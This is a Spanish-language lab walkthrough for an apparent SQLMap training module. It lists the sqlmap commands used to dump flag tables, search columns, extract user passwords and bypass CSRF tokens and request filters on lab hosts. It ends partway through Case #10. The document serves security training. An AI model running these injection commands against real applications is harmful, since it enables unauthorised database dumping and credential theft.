# SQLMap Essentials

{% file src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F27fsRKgl6dDKydnXqpFl%2FSqlmap_Essentials_Module_Cheat_Sheet.pdf?alt=media&token=b4493c46-9521-4a01-81e2-ce0d9eea5fbb" %}

## Getting Started

### SQLMap Overview

#### Preguntas

**What's the fastest SQLi type?**

UNION query-based

## Building Attacks

### Running SQLMap on an HTTP Request

#### Preguntas

**What's the contents of table flag2? (Case #2)**

Vemos cómo se llaman las bases de datos.

```
sqlmap -u 'http://94.237.57.211:53268/case2.php' --data 'id=1*' --method POST -H 'Content-Type: application/x-www-form-urlencoded' --dbs
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FP2KNFPYAqlujCv5pyAhQ%2Fimage.png?alt=media&#x26;token=ea091623-a63c-4e45-8bac-313d95c3d5a8" alt=""><figcaption></figcaption></figure>

Sabiendo como se llama realizamos lo siguiente para ver lo que contiene en dicha tabla.

```
 sqlmap -u 'http://94.237.57.211:53268/case2.php' \
  --data 'id=1*' --method POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -D testdb -T flag2 --dump
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJiMC6xHi5mORvbNENZYY%2Fimage.png?alt=media&#x26;token=5db59b19-d669-48f0-b927-2f193094e34a" alt=""><figcaption></figcaption></figure>

**What's the contents of table flag3? (Case #3)**

```
sqlmap -u "http://94.237.57.211:53268/case3.php" --cookie 'id=1*' -T flag3 --dump
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F8tMwkKGcxZvB93C8N5Ok%2Fimage.png?alt=media&#x26;token=88a3330d-f54e-4584-890b-73df27239fac" alt=""><figcaption></figcaption></figure>

What's the contents of table flag4? (Case #4)

```
sqlmap -u 'http://94.237.57.211:53268/case4.php' -H 'Content-Type: application/json' --data '{"id":1}' -T flag4 --dump --method POST
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FuKNnVGq6WxH5Kr0mtvkO%2Fimage.png?alt=media&#x26;token=36c95cc4-eb0a-4004-ac13-3d33991150c3" alt=""><figcaption></figcaption></figure>

### Attack Tuning

#### Preguntas

**What's the contents of table flag5? (Case #5)**

```
sqlmap -u 'http://94.237.50.221:57391/case5.php?id=1' -T flag5 --no-cast --dump --batch --risk 3 --level 5
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYYfBEFTQZhfxSXIDwQn0%2Fimage.png?alt=media&#x26;token=693cfc1e-6177-4574-b288-6c3fa3b69878" alt=""><figcaption></figcaption></figure>



**What's the contents of table flag6? (Case #6)**

```
sqlmap -u 'http://94.237.50.221:57391/case6.php?col=id' -T flag6 --dump --batch --risk 3 --level 5 --prefix='`)'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FkRQhtJTZ8tDDMNcEWp16%2Fimage.png?alt=media&#x26;token=bae34492-168f-4afa-ba9f-5083c4dca24d" alt=""><figcaption></figcaption></figure>

**What's the contents of table flag7? (Case #7)**

```
sqlmap -u 'http://94.237.50.221:57391/case7.php?id=1' --union-cols 5-8 --level=3 --risk=3 --dump -T flag7 --techniqu
e=U -D testdb
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FZBm2sNGugVx7IiNhAkXH%2Fimage.png?alt=media&#x26;token=ae780a23-57f3-4778-8ba0-43c2cf8bfce5" alt=""><figcaption></figcaption></figure>

## **Database Enumeration**

#### Preguntas

**What's the contents of table flag1 in the testdb database? (Case #1)**

```
sqlmap -u 'http://83.136.254.55:50741/case1.php?id=1' -T flag1 --dump --batch --risk 3 --level 5 --dbms MYSQL -D testdb
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fjt6ksetfSOaj6Mtc3yQa%2Fimage.png?alt=media&#x26;token=661ee30c-9a42-40d2-9dcd-4f163b355eb8" alt=""><figcaption></figcaption></figure>

### Advanced Database Enumeration

**What's the name of the column containing "style" in it's name? (Case #1)**

```
sqlmap -u 'http://83.136.254.55:50741/case1.php?id=1' --batch --search -C "style"
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FRTX1coIya82BR3ssYZIi%2Fimage.png?alt=media&#x26;token=b0a09979-c77f-4c41-ad88-e7d30683fd24" alt=""><figcaption></figcaption></figure>

**What's the Kimberly user's password? (Case #1)**

```
 sqlmap -u 'http://83.136.254.55:50741/case1.php?id=1' --dump --batch --columns -C name,password -T users
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FFVsxZFl4t4VDC5H56LzC%2Fimage.png?alt=media&#x26;token=33f36afb-dabe-4fce-b48b-675b13482690" alt=""><figcaption></figcaption></figure>

## Advanced SQLMap Usage

### Bypassing Web Application Protections

#### Preguntas

**What's the contents of table flag8? (Case #8)**

Primero capturamos la petición.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FpwmAAN8JgAHxnKNTgKB2%2Fimage.png?alt=media&#x26;token=79cdfb6b-7673-456a-beb5-898f3d55671b" alt=""><figcaption></figcaption></figure>

```
sqlmap -r token.txt -p id --csrf-token="t0ken" \
  --csrf-url="http://94.237.60.55:51043/case8.php" \
  --random-agent --batch \
  --search -T flag8
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fsrwbm7l8BszDJFUqJrPD%2Fimage.png?alt=media&#x26;token=6193af85-4eff-4a58-b461-0f2e16a80c96" alt=""><figcaption></figcaption></figure>

**What's the contents of table flag9? (Case #9)**

Como se tiene un valor único hay que poner el parámetro `--randomize='uid'`

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWlJzVTSc7gamLHFdFhnC%2Fimage.png?alt=media&#x26;token=8758599c-b02f-4c6e-a69d-3e17f037c109" alt=""><figcaption></figcaption></figure>

```
sqlmap -u "http://94.237.60.55:51043/case9.php?id=1&uid=2560757563" \
  -p id \
  --batch \
  --random-agent \
  --randomize=uid \
  -T flag9 --dump --no-cast
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F20xCOzM2IxPiP9QuOMkw%2Fimage.png?alt=media&#x26;token=44340399-fa00-4b61-99d4-75d6e4bd610d" alt=""><figcaption></figcaption></figure>

**What's the contents of table flag10? (Case #10)**

Parece ignorar cualquier solicitud http enviada a través de sqlmap. Así que para eludir esto, usaremos un agente aleatorio.

